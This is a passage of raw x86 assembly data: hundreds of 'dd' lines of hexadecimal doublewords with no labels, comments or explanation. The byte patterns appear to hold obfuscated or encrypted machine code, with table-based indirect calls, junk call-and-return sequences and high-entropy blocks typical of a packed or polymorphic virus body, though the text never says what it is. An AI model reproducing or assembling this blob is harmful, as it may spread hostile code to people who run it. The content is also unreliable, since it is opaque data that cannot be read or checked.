		dd 0D1952930h, 8B061212h, 1206C98Dh, 1EE8306h, 314DBD31h
		dd 4E4E0612h, 0CEBF0F4Eh, 0A09CFE81h, 850FFFFFh, 0FFFFFFADh
		dd 1769BD89h, 0CE80612h, 0D1000000h, 64A20060h,	0D6105EFAh
		dd 89A39068h, 122F81B5h, 8D235A06h, 6121D91h, 72CFC281h
		dd 8D890000h, 61219BDh,	2953C033h, 12184DBDh, 3C8B5B06h
		dd 1D820F02h, 60000000h, 10E9h,	3C24A400h, 0C6B49F57h
		dd 0F50AA1E2h, 88CEDF62h, 0C58D23E4h, 61061226h, 0EA05C781h
		dd 7EB503EBh, 361EEF81h, 840F2A67h, 0
		dd 4192F781h, 8D2B519Bh, 612098Dh, 6161BB57h, 48F7730h
		dd 89ADB102h, 122B0595h, 75E88106h, 60327840h, 34BD8589h
		dd 81610612h, 784071C0h, 58A0F32h, 66000000h, 1789F181h
		dd 8DF8F881h, 850FFFFFh, 0FFFFFF7Eh, 14E8h, 0B868CE00h
		dd 930AAF23h, 9F7F42Dh,	87F5D102h, 250D7ECDh, 8D8D5E1Bh
		dd 618EADAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0C0C35747h, 0AB25DD0Eh,	5436B94Fh, 8E8h, 3B500800h
		dd 2A0F23Dh, 37BE66C2h,	9D0958CEh, 6121B79h, 9A18D89h
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0BD981EC3h, 585C793h, 50061205h, 1000067h
		dd 121B698Dh, 0D985C706h, 6121Bh, 66000000h, 0FF0C43B8h
		dd 122D69B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FF1C79BDh, 121B3195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 2B2D30EFh, 1211C585h, 0FF006A06h, 1219CD95h,	0EBC08B06h
		dd 8C46B71Eh, 7F7BB25Eh, 7ECE7D44h, 8389B488h, 0D19C19F3h
		dd 5270BDCFh, 0A4E713h,	8D40A6C6h, 18EC1C8Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 89011A0Bh, 12039DB5h, 0A18D8906h, 6A061209h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 2B21C350h, 0B589DBA5h, 6120789h, 9498D09h, 85C70612h
		dd 6120505h, 6494h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0AEC35747h, 0A681D230h, 11E999h, 0DF280000h
		dd 7AAC6E74h, 6967E5E7h, 88AE33FFh, 8BE556C4h, 122BFD95h
		dd 0D985C706h, 6121Bh, 0E9000000h, 12h,	0C48A615Dh, 9EF31248h
		dd 0B456F546h, 7A50418Fh, 0B5FFF3C3h, 6122C81h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C6C35040h, 0FE606FE1h
		dd 3195FFF8h, 6A06121Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0AC34C353h,	0B160B98h
		dd 298501E4h, 6A061216h, 0CD95FF00h, 8B061219h,	206DEBC0h
		dd 0F96A1082h, 533AB19Ch, 11992CA4h, 3291106Fh,	3C5E6EB6h
		dd 0FE52BD51h, 0B65D50FAh, 0E52F9B27h, 5427693Fh, 53DF443h
		dd 2B8CC93Fh, 0EF1BAD26h, 8860C9ABh, 8D1F3D76h,	2B5E176Dh
		dd 1AE22958h, 938873D2h, 0DEA94DABh, 7C077CDBh,	46046BB3h
		dd 90C39103h, 33057974h, 7AEEBCCCh, 8D2191F1h, 3E7019CFh
		dd 4AAF5C2h, 9570F6A7h,	0ED458D8Dh, 0BF0F0618h,	0A18D89C0h
		dd 0C7061209h, 12050585h, 710406h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 37963193h
		dd 0A5BD89D5h, 89061223h, 120261BDh, 0D985C706h, 6121Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 4FF6C356h, 95A243DAh, 893EFBB5h
		dd 12205995h, 0E99D3306h, 0FF061203h, 122A69B5h, 48C88106h
		dd 0FF65A3C4h, 121B3195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0F18BF7DFh
		dd 95FF006Ah, 61219CDh,	0EEBC08Bh, 1A64C247h, 9BFF4184h
		dd 91C7BA47h, 0FE8653Fh, 0F9000000h, 52DD3D7Ch,	8A0F85Eh
		dd 8A979267h, 9D23ACBAh, 61218E1h, 24C18159h, 6000005Bh
		dd 0E9DBB70Fh, 0Eh, 57148B9h, 0F83FEEFBh, 4B3878Bh, 0B86167CEh
		dd 169Bh, 0B589318Bh, 6120331h,	0ABFCF681h, 8D8948D2h
		dd 612104Dh, 7AD7C681h,	0EE815AC7h, 7BDC336Dh, 6A98D29h
		dd 31890612h, 83FFBF66h, 0F02E983h, 58Ah, 491BBF00h, 4949548Fh
		dd 99DB589h, 0F480612h,	1A85h, 0B99D8B00h, 0E9061203h
		dd 2Fh,	0BA16A8DBh, 89B37AA0h, 0B51F7500h, 0FD3B57Dh, 0E8Dh
		dd 9E900h, 0B0260000h, 3F3D560Ch, 0E92CF271h, 0FFFFFF84h
		dd 0AE947B51h, 0E8175EABh, 6, 8FA597F3h, 0BF0F5AA8h, 10E85ED1h
		dd 81000000h, 903FE0Dh,	0D2A678E6h, 378EDC67h, 0B96628BDh
		dd 40D98867h, 0D7C68159h, 66000072h, 140D981h, 0B8h, 0A9950900h
		dd 0FF06122Dh, 0C7813034h, 4A5AF171h, 59958B5Bh, 81061217h
		dd 43A23FC3h, 59B5892Eh, 81061216h, 5120B6EBh, 0CA8B667Bh
		dd 4AD1EB81h, 0BD8B6B1Bh, 6120429h, 0D5950153h,	8F061200h
		dd 958B0604h, 61228DDh,	7499529h, 0E8830612h, 81666003h
		dd 8BD981D2h, 122D1D9Dh, 9486106h, 120675BDh, 4F88106h
		dd 0FFFFF8Eh, 2085h, 6810F00h, 89000000h, 1200D5B5h, 29E906h
		dd 80730000h, 0C6CC9D0Eh, 856F6C4Ah, 0A8C5525Ah, 0A5BD8BD0h
		dd 0E9061215h, 0FFFFFF6Bh, 50708B33h, 0E21DFFB3h, 0DA7AC146h
		dd 8DA1AF80h, 18EFDC8Dh, 0C28B5106h, 0A18D895Eh, 6A061209h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 8CE3C350h, 9E8A5h, 0C9F70000h, 8C310934h
		dd 609E7BB3h, 0CD91D081h, 13E96C9Dh, 0CD000000h, 16C959CFh
		dd 2FA86AE9h, 0A8931748h, 847119BEh, 58618C96h,	50585C7h
		dd 59FC0612h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4EDD01C3h, 232A9E2Fh, 12141185h
		dd 0C7FB8B06h, 121BD985h, 6, 95BD8900h,	0FF061206h, 120CD1B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 89B589B6h, 0FF061229h, 121B3195h, 48E0F06h
		dd 66000000h, 6ACF39BFh, 0CD95FF00h, 8B061219h,	5B69EBC0h
		dd 0FB66681Ch, 0D787DFB1h, 936610CEh, 127E98C9h, 92F0F99h
		dd 0B648486Ah, 0AF8478E4h, 857797A5h, 0F4EFD92h, 9794028Ah
		dd 4AC1364Ch, 9D2B390Dh, 0D9941C47h, 94768102h,	1838897Bh
		dd 0E0C92B55h, 1F9395Bh, 0F3C99C71h, 8E018C7Fh,	987C3E82h
		dd 6541EABBh, 2B5A5460h, 379AB084h, 3BA480A9h, 594BA251h
		dd 3EBAEC1Dh, 0BE8h, 0B0D49C00h, 0AB5CE4CAh, 0E6904A4h
		dd 5BFEBF0Fh, 8159F952h, 60E7C3h, 43BE6600h, 180B687Ah
		dd 665A0000h, 943AE681h, 0BE6633FFh, 8B58D447h,	1209B1BDh
		dd 62C08106h, 8B78FFFEh, 1214F5B5h, 73F08106h, 0F6C4D6Ch
		dd 0E881F9BFh, 0CEE2A98h, 14E857h, 3DA0000h, 0B7AB8D45h
		dd 9BC47B21h, 4782A1EAh, 36C1EA3Bh, 5F59D32Ch, 0B9B58950h
		dd 8F061212h, 6D8D3103h, 83061203h, 294B03EBh, 121D7D9Dh
		dd 1EA8106h, 0F000000h,	1285h, 0B1958900h, 0E9061234h
		dd 24h,	0D1F8A5F6h, 893D07F3h, 1206E9BDh, 0FF7AE906h, 0B695FFFFh
		dd 0E2EF9CEFh, 58A74630h, 5ACE4165h, 7207624Dh,	0CE8h
		dd 1CFBE300h, 1BF9C308h, 0DCBB2A5Bh, 0D6816682h, 8B591F68h
		dd 0F1C181D1h, 3100006Eh, 1207D1B5h, 1B89B806h,	5E80000h
		dd 35000000h, 0D6A6F456h, 92F68166h, 398B5B3Eh,	10A5B501h
		dd 0F7810612h, 70546C59h, 5BF3B757h, 3490EF81h,	8D0F0F7Fh
		dd 3, 813FF380h, 95638AEFh, 0D1B50977h,	57061201h, 8FF0B70Fh
		dd 61B58901h, 81061217h, 2FE8BAE9h, 11E867h, 2A0B0000h
		dd 8480C98Bh, 7F1EC877h, 0A65C71C1h, 0B7282B0Eh
		dd 0C1815A72h, 672FE8B6h, 19E98D29h, 0F480612h,	1E85h
		dd 6E800h, 0FB050000h, 8BF83FEEh, 2C09958Bh, 0E95E0612h
		dd 1Ah,	0B37F40DBh, 8BBAEEFCh, 0FF70E9DAh, 914EFFFFh, 675CC060h
		dd 3EA26276h, 7E8FD1Ch,	50000000h, 0A2DC5B95h, 81668FE8h
		dd 58C90DCEh, 0A753CE81h, 0C0815978h, 5A39h, 1C419509h
		dd 15B90612h, 81351633h, 16254CF1h, 0CE935h, 4A130000h
		dd 5067A6B7h, 0DF56EE20h, 30FFBF92h, 0DACA8166h, 0F9605F64h
		dd 7E8h, 7FF99F00h, 68894B72h, 615BD68Bh, 41B4C781h, 0CB812311h
		dd 160024B7h, 70A5C781h, 853156E9h, 6121501h, 60EEF81h
		dd 0DFB24137h, 0FD9D0B57h, 8F061219h, 85B53100h, 83061202h
		dd 81F904E8h, 1E9h, 1F850F00h, 0E9000000h, 0Bh,	6ADB9C9Bh
		dd 581D2D12h, 0E95D26DBh, 30h, 6471F949h, 69185C83h, 9E8DDDAh
		dd 1E000000h, 0F43CD313h, 76276B84h, 0C8DAD681h, 0E95A1AE4h
		dd 0FFFFFF6Eh, 10139558h, 60924635h, 8334FBFBh,	89A07582h
		dd 78146908h, 0BB8DA6DCh, 86363747h, 8635A12Eh,	18D92590h
		dd 5302548h, 941A2C99h,	23F2514h, 86302598h, 97D59807h
		dd 89302350h, 8630A1A5h, 0F7B5E390h, 0C8363760h, 863021CCh
		dd 0C4E76512h, 0C2BB75A1h, 86BB21A0h, 821461CBh, 8F85DA79h
		dd 0B3637BAh, 934F10CDh, 0DE0DA22h, 0F7B5E3E2h,	0C8363721h
		dd 8630216Ch, 0C4E76542h, 0C2BB7589h, 86BB21B4h, 821461C1h
		dd 6385DA7Ch, 0B363703h, 934F108Ch, 0DE0DA82h, 86209CBAh
		dd 8ED92521h, 20302590h, 863EA047h, 8D792524h, 76B52ADBh
		dd 6FCFDAF6h, 86302589h, 0CB85B8CFh, 83882333h,	79302590h
		dd 448DA8ABh, 0B363DD6h, 9EC3B49Fh, 0A3229D0Fh,	491BA3B4h
		dd 89A07582h, 78146908h, 0BB8DA6DCh, 86363747h,	8635A12Eh
		dd 18D92590h, 5302548h,	831A2C99h, 0A4F305E9h, 22B9h, 5B8D8D00h
		dd 6A0618F4h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 5233C356h, 12E8h, 45E2C200h, 0A33CB076h
		dd 4A4B0581h, 8A6E6AFFh, 0FC87CF3Bh, 8D895B5Ah,	61209A1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AEC35747h
		dd 0C28B6650h, 50585C7h, 655C0612h, 0B58B0000h,	6121869h
		dd 1BD985C7h, 612h, 95230000h, 6121581h, 1D2DB5FFh, 9D8B0612h
		dd 6120289h, 1B3195FFh,	0DA8B0612h, 63B86653h, 6A5EAAh
		dd 19CD95FFh, 0C08B0612h, 48116FEBh, 0A136EC59h, 0DCF75116h
		dd 0A6D6963Eh, 5C6B190h, 1C04694Ah, 206F21A3h, 0F1A71D7h
		dd 2AA38FA6h, 2DCAEB33h, 0F8069085h, 1B73D3B8h,	5B6F6265h
		dd 1E8C860Eh, 0FF17549Bh, 92804791h, 72B00C2Ah,	0E6A774A6h
		dd 1C4E783Eh, 2B2F81EDh, 0E60084FBh, 9A3725F1h,	46642E44h
		dd 586EA8E3h, 5CA94B52h, 0BAF30E7Eh, 4CC0709Bh,	4EEA6669h
		dd 21E93Eh, 0DEC90000h,	6744h, 6 dup(0)
		dd 0E9000000h, 87Ah, 0CAA1609h,	20BE281Ch, 38D63830h, 4EEC5248h
		dd 6301695Eh, 34299BF6h, 473E2ECCh, 5C5545E3h, 746E5EFCh
		dd 18797816h, 1FB7FA7h,	297B8E76h, 2D8D865Ch, 72350C3h
		dd 3F396FE9h, 0BFAE43E1h, 0F087924h, 9269FB1Ch,	0AA2C5F20h
		dd 2CBA4EB4h, 10EF5933h, 3066C62h, 0A91215ADh, 7376DED3h
		dd 0C4D5B21h, 0DB73EBC2h, 3CA49971h, 2F25FB9Eh,	4874C6C9h
		dd 35BAF596h, 13EB55EDh, 9E10BB19h, 200D9E5Ch, 6E953E6h
		dd 0F5F85650h, 714020D9h, 867B1977h, 0DE2FB52Fh, 7076h
		dd 1A0F1C00h, 5E9507B2h, 0D93D0DC3h, 157D726Ah,	1D12C8ABh
		dd 40340AB5h, 6D896CD6h, 1005D4B4h, 0BE150AA8h,	5D81D83h
		dd 45h,	0B21A0FABh, 0E50D7E07h,	5F6FE907h, 7853AB24h, 0DE2C2B09h
		dd 13409174h, 296FE9DBh, 16CCCF31h, 0F5B7BA20h,	3A2D9C7Ch
		dd 0F7ECBB9Bh, 160EE48Fh, 0F15BB1B4h, 4FAD073h,	0EBE59B9Eh
		dd 0C48BF58Dh, 2Bh, 0B21A0F72h,	0D8383107h, 1882ECE0h
		dd 7BAE435h, 651E6FE9h,	97A0385h, 6FE907E1h, 0BAC9EE8h
		dd 6A7E3DDDh, 9B9068D2h, 5C419533h, 282B8F86h, 0E0EB68D2h
		dd 1C45B661h, 2D69FB03h, 2E26DCDFh, 463E2ECCh, 6D6339E4h
		dd 5FBA9D07h, 0B92AD56Ch, 700D1300h, 2B8BB09h, 0EBA1A40Eh
		dd 358B8EF6h, 0DFE2463Dh, 0BB2A0AC3h, 0ADA37922h, 5C3CDD47h
		dd 9533958Dh, 0C738ADA5h, 6FE9139Fh, 1DC860AEh,	0A80F88ABh
		dd 0E9E10F37h, 3CD01E6Fh, 77131F8h, 0FC9BD324h,	44BD6FE9h
		dd 120CE264h, 0F4F75F54h, 0C49C069Eh, 78CC6ACCh, 82DE6D6Ah
		dd 150FEA04h, 15695BB7h, 1D86C30Ah, 43EAD5h, 5C900000h
		dd 73A62D3h, 0E0416FE9h, 0E907476Fh, 7008566Fh,	72C54C5h
		dd 0E5336FE9h, 7201FE7Bh, 0C3EB5C16h, 0CA6FE907h, 225C207Ch
		dd 31A2170Fh, 6FE90709h, 0D4CAC210h, 7D156B6Eh,	20195521h
		dd 20h,	7E6D6ACEh, 0CC222585h, 0BBB38934h, 5CB3EF59h, 0E907C3EBh
		dd 3A96246Fh, 170F225Ch, 195559B5h, 6357150Fh, 0D5E61F9h
		dd 6FED8873h, 9C6B4B02h, 0C39944A2h, 7FFD67CDh,	2F329A8Fh
		dd 191C8479h, 0E26444FDh, 0AEB1150Ch, 16F1C458h, 91E0E0A8h
		dd 0F25A4F27h, 0A0085F54h, 514FD821h, 0F5000000h, 0B4B7150Fh
		dd 4BBC5259h, 6FE90723h, 9944DC2Ah, 686BC9C3h, 941DA812h
		dd 5E61C9BEh, 822B9E08h, 8B69FB15h, 0B5BF8641h,	443D5FEAh
		dd 9B44CE4h, 89E70F80h,	0A8F675FBh, 47FE5B3Eh, 1A0FE567h
		dd 767048B2h, 65D77A18h, 1D830CD4h, 0A8E44E6Fh,	0CB7150Fh
		dd 7EA1283h, 0A3F16FE9h, 4B4EB6ABh, 4DA88BF5h, 173FB05Eh
		dd 2D6FE907h, 7BD1D434h, 0EB962E7Ch, 0FB1F217Ah, 7C1A6869h
		dd 3134928Ch, 0AD8595E0h, 694900F1h, 0B91711E7h, 1EF660B6h
		dd 921BC624h, 4979F921h, 48B200F2h, 82E0DACAh, 4640167Fh
		dd 258FE5E8h, 731EA5A8h, 0D842A69Dh, 8D13DC4Dh,	0E56EEC5Bh
		dd 5B754C74h, 0D0553F4h, 6C4BB513h, 75729A0Bh, 2B79F45Bh
		dd 0D8DB3933h, 0F84CEA82h, 82DE6D6Ah, 150FEA04h, 0EA5C5BB7h
		dd 2698D9E1h, 313653DAh, 0BCD61h, 2478F660h, 1D86C30Ah
		dd 38EAD5h, 6A900000h, 5C82DE6Dh, 0E907C3EBh, 52481E6Fh
		dd 55A382ECh, 77DFD4AAh, 0B923897Fh, 0F225C7Dh,	810AB517h
		dd 0E907E810h, 0A208FE6Fh, 0FC4A499Fh, 19555692h, 3820h
		dd 6D6ACE00h, 865C82DEh, 0D52B2E8Ch, 1B85E3DDh,	7F71F90h
		dd 0D2606FE9h, 0F225C76h, 810AB517h, 0E907E810h, 5349F76Fh
		dd 0FC94EAEDh, 0CA555692h, 22556B58h, 0A50FA862h, 0B7150F69h
		dd 87C963B4h, 0FDB46FEDh, 0F6544E1Dh, 0B736858h, 0D4C99F08h
		dd 352A026Ch, 1215736Dh, 52124BCh, 0A89D6C4Ch, 0C8BF9540h
		dd 0B6AB6164h, 0CE4CB64Eh, 21FB82D9h, 49C9D8h, 0F6F0000h
		dd 59B4B715h, 4E24CF52h, 38A29654h, 0DD47DF35h,	0FA57C952h
		dd 0F7F0B1E6h, 0B1C639A3h, 5069FB4Dh, 0EBA2FF02h, 2417890Bh
		dd 91FBEFDBh, 0A8A4388Eh, 0B526D1EEh, 75FB328Dh, 0CE44E9Ch
		dd 4E54B812h, 22427511h, 0F98EC8Ah, 0FF5D5715h,	0B0EA6FCh
		dd 7B26BDB0h, 75981F2h,	72676FE9h, 0C5BD0B0Ah, 76016BCDh
		dd 0FB1D4C05h, 842F7D69h, 21628AFBh, 1B6975FBh,	0BA9033B1h
		dd 45A5DC5h, 865C5E9Ah,	3B312991h, 127CD2D5h, 0AD099895h
		dd 150FEA04h, 62FA6257h, 0A156906h, 0D51D86C3h,	6CEAh
		dd 736B4100h, 0F004BF15h, 0D76FE4C6h, 0C2281ED4h, 67D169BFh
		dd 90865C2Bh, 4643C02Ah, 76E76257h, 6FE9074Eh, 0DF770F5Dh
		dd 0C3EB5C83h, 1E6FE907h, 0D5F0B8ACh, 6ED84993h, 71ECE18Fh
		dd 0E99BD800h, 199E76Fh, 0EA5448FEh, 390FBA52h,	88DEE13Fh
		dd 225CE21Eh, 31A2170Fh, 6FE90709h, 0BABD1F17h,	7F176564h
		dd 20195523h, 31h, 0DE6D6ACEh, 0C3EB5C82h, 246FE907h, 6F98369Ah
		dd 23BBF388h, 62D35CC7h, 6FE9073Ah, 0FE89F341h,	0B5170FC4h
		dd 41CA5559h, 0E907A8D0h, 0FF69B76Fh, 0B7150FC3h, 87C963B4h
		dd 655B6FEDh, 837ED403h, 7D151F62h, 6BCBC47Ah, 241A1268h
		dd 9E57BBBEh, 0FB04FBEh, 0DADD4339h, 34928C84h,	0D071DB31h
		dd 0C92721F0h, 83413B2Bh, 8F922A8Ah, 0FFAA3934h, 14AE0476h
		dd 243873DBh, 0F15247BAh, 0A5F369FFh, 8C5588FAh, 3F551604h
		dd 42B457D5h, 5DA31AF2h, 21160EC7h, 6A134FB9h, 21897E6Dh
		dd 9B042D89h, 6ACEC5h, 91865CC4h, 77DA516h, 3E8C6FE9h
		dd 0C93AA3A6h, 6FE907A1h, 58C25AA8h, 0A4158680h, 6FE9077Ch
		dd 15003983h, 7105C37h,	697BD76Fh, 86C30A15h, 2DEAD51Dh
		dd 41000000h, 71F47B8h,	0E02E6CE9h, 6D6A3A76h, 0EB5C82DEh
		dd 6FE907C3h, 5C207CCAh, 0B5170F22h, 20195559h,	35h, 4DB3A97Fh
		dd 4E8AF44Ah, 82DE6D6Ah, 5892EA5Ch, 70A1C7C3h, 0E20A7B06h
		dd 436FE983h, 225C59B5h, 3A62D35Ch, 486FE907h, 91E7EA54h
		dd 2DA4492h, 554CA80Ah,	0B7150F19h, 87C963B4h, 0FDB46FEDh
		dd 0F6544E1Dh, 0D443B558h, 0D3FB6CF5h, 0DA6FED32h, 54DFF88Ch
		dd 4E48208Ah, 4BBC45F0h, 6FED9023h, 8F72DC2Ah, 0FFAA3934h
		dd 0FFAED98Eh, 0FC9AE869h, 298B8359h, 2A66D026h, 82DE6D6Ah
		dd 150FEA04h, 15695BB7h, 1D86C30Ah, 962698D5h, 1BE3C741h
		dd 26F12A94h, 97000000h, 847E6D6Ah, 35CD2326h, 0C3EB5CD9h
		dd 0CA6FE907h, 225C207Ch, 5B55170Fh, 0CA4FAFDh,	201955B0h
		dd 4Dh,	0DE6D6ACEh, 4AD35C82h, 0E907B1D9h, 739B0C6Fh, 7A6FE907h
		dd 75DF2D2Ch, 0E907DA02h, 299A3B6Fh, 6FE90701h,	0E043BE08h
		dd 2EF17BFAh, 0AE640296h, 4B05715h, 225C106Ch, 0AB5170Fh
		dd 7E81081h, 0A9F76FE9h, 865C033Fh, 31C32D8Dh, 0B7150FF5h
		dd 0CF5259B4h, 203EB324h, 81CF69FBh, 0A60800D6h, 65E34DA3h
		dd 9B46DDD0h, 40B322Ah,	88FD970h, 30163F2Ah, 0F0A6A941h
		dd 0AFA98F6h, 7E07B210h, 0F3F4E50Dh, 3CA6F46Fh,	867EF059h
		dd 0B3C3B7C4h, 5B970A74h, 710EBF8Ch, 5A10137Dh,	3BFD0062h
		dd 0D177E2C2h, 0C35E868Ch, 33D4730Bh, 0EC0ABBC1h, 1C861ED3h
		dd 0D2CC9B7Bh, 0ECE6D674h, 0DFD58B8Eh, 601F7679h, 2F28FE80h
		dd 7C14786Fh, 615A24E8h, 8EF89C4Bh, 0B35EBCB6h,	0FF70E5DDh
		dd 0D13F50D7h, 960098E6h, 0D02E2818h, 0F28CDh, 95D60000h
		dd 0DB3F340Ah, 0FB9218DDh, 0AC16AEE0h, 0B01C0F70h, 9FFDF7ADh
		dd 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h, 389E944Ah
		dd 25877F35h
		dd 0E786C22h, 54554D0Bh, 4C5815Dh, 83000000h, 2C8704EDh
		dd 0EF685C24h, 8900000Ch, 0EC812404h, 4, 81241C89h, 4ECh
		dd 24348900h, 330DA7BEh, 46F68143h, 0C141700Fh,	0EE8107EEh
		dd 0F9EB910Bh, 545EF089h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 438F2404h, 241C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0FF5C243Ch, 83582434h, 8EE904C4h, 59FFF982h,	0F8B844F2h
		dd 30618FCh, 0DE0FFC5h,	0F13A2542h, 23996B1h, 0A900E46Eh
		dd 0A5096756h, 0A10F1431h, 0AB468DA9h, 0EB05FDD7h, 826222B1h
		dd 0B94C6298h, 0A30B24C6h, 0AC2FDB67h, 59667EEEh, 3814D6E4h
		dd 483E839Ch, 8651CEA9h, 96502F97h, 0EE3A369Dh,	2C1F26D5h
		dd 0AB45476Fh, 0D4368796h, 3159998Eh, 913BDF04h, 0E8496BBDh
		dd 0Eh,	0B1EE9535h, 61C56554h, 0C8EF22E2h, 0FE8A5B66h
		dd 0E381665Fh, 0C781C151h, 6D63h, 75E28166h, 67BBB859h
		dd 0F0813F70h, 3F707C94h, 0EE8h, 0DEC99100h, 1E3BDB7Bh
		dd 6AFC4FC8h, 80AF97ADh, 0FF5BEEC3h, 0CE95937h,	33000000h
		dd 46248676h, 541493A3h, 8185619Eh, 227CB9C1h, 0D18B6663h
		dd 0C90DC181h, 11E9486Ch, 7B000000h, 748FA1A1h,	0C1C76A5Eh
		dd 92938169h, 0DD5ABECBh, 0E6A6F181h, 0DE8A7461h, 81665251h
		dd 5E3C44D2h, 860F078Fh, 2, 0EF83DC8Ah,	4FDB8104h, 484ADCB0h
		dd 0FF9D850Fh, 0BCBBFFFFh, 0E8708522h, 5, 0BF0755FCh, 0AE9E9h
		dd 0A36E0000h, 33712E7Bh, 0FC4DFF8h, 17800F5Ah,	0E9000000h
		dd 12h,	4A53800Eh, 0DE6A8FF7h, 3FBA4F56h, 0CB7D5B54h, 0C2813A33h
		dd 62CEh, 0D881C933h, 0E9B8FC4h, 660A348Bh, 0C681FB8Bh
		dd 702C308Bh, 0FE9h, 6EB24300h,	4F0492A2h, 0A307C978h
		dd 87A2B5A2h, 4FB5EE81h, 0C6812E63h, 4DAF2911h,	2840Fh
		dd 0FB30000h, 800F5656h, 4, 0E05B866h, 0A048F5Fh, 4B98B866h
		dd 76C6CB81h, 0E983495Eh, 81666004h, 6643EEE8h,	9593E881h
		dd 10F98161h, 0FFFFF9Eh, 1285h,	33E9F900h, 38000000h, 0D5926D76h
		dd 3825D80Eh, 0E9BAEF84h, 0Eh, 1F4286ECh, 0F0A010B8h, 14257CC1h
		dd 6DE9F556h, 6FFFFFFFh, 44508B53h, 0CF308ACh, 0C98B2A0Bh
		dd 8D8D8480h, 6190038h,	2D65858Bh, 0B70F0612h, 0A18D89FEh
		dd 6A061209h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0B71FC353h, 294377E5h,	8589D8EBh
		dd 6122A31h, 50585C7h, 60340612h, 58BB0000h, 0C76370BAh
		dd 121BD985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0E793845Ch, 0D381D124h
		dd 0FB2F8B0h, 1B85B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 523CB1C3h, 2D8C4B47h
		dd 5160EEE7h, 5BC78B66h, 16BEBF66h, 3195FF61h, 5306121Bh
		dd 2919D8Bh, 6A5E0612h,	0CD95FF00h, 8B061219h, 7628EBC0h
		dd 8BCC3068h, 117FEE3Bh, 0FB26D115h, 63047671h,	341D7130h
		dd 0AC9C53Dh, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh, 8DF73E9Fh
		dd 1901448Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 63952812h, 34373F53h, 8D89EAEFh
		dd 61221A1h, 989997BFh,	0A18D8942h, 6A061209h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 2A07C356h, 0BE09ABAFh, 5890F88h, 66000000h, 0AF80E081h
		dd 50585C7h, 66B40612h,	0B50B0000h, 6120941h, 1BD985C7h
		dd 612h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1A0424h, 55450000h, 4CA5C2C3h, 11F5335Ch, 3ED68166h
		dd 2DB5FFA6h, 0F506121Dh, 95FF7EB3h, 6121B31h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FFC35242h, 6A92AFDBh
		dd 0CD95FF00h, 8B061219h, 0A36FEBC0h, 88EC8B5Fh, 33B68142h
		dd 640F4837h, 1D911551h, 8290E14h, 1AD93C26h, 0A9A81467h
		dd 1EA16E23h, 0F891F696h, 0D3A3069Dh, 37CF6B0Ch, 0D20927C4h
		dd 46747780h, 0D146F2F3h, 1FABD5B1h, 4F70706Bh,	0C54FE734h
		dd 431CA4C3h, 91199EFCh, 83C90C99h, 0EA2B20B3h,	0A44CADD1h
		dd 752945D7h, 1F40BBFEh, 0FBD4C596h, 0E46095FFh, 7087B272h
		dd 8D8D9E9Ch, 61902CDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0E8C35242h, 0B99531F8h, 8906121Eh, 1209A18Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 12BE5334h, 0A74BE0D9h, 14E59D8Bh, 85C70612h
		dd 6120505h, 7018h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0B9C35545h, 0F6818C1Dh, 153EEF55h, 1BD985C7h
		dd 612h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1B0424h, 50400000h, 48656C3h, 1D7B48F3h, 0D58D8946h
		dd 0FF061222h, 122D69B5h, 0D9858B06h, 66061219h, 0FFCBF5BBh
		dd 121B3195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 49EE3D7Fh, 88CFF61Ch, 68F0FAFh, 89000000h
		dd 121FE9BDh, 0F18B6606h, 6870Fh, 95890000h, 6120345h
		dd 95FF006Ah, 61219CDh,	1EEBC08Bh, 1B2FF190h, 0FA3ED861h
		dd 0EE12A590h, 28F6EFF0h, 0FADB8C59h, 0E9E6A80Bh, 0C4C85DDAh
		dd 10E8FE16h, 0E7000000h, 0AA05E64Ch, 0DFBB4B74h, 4EFC1321h
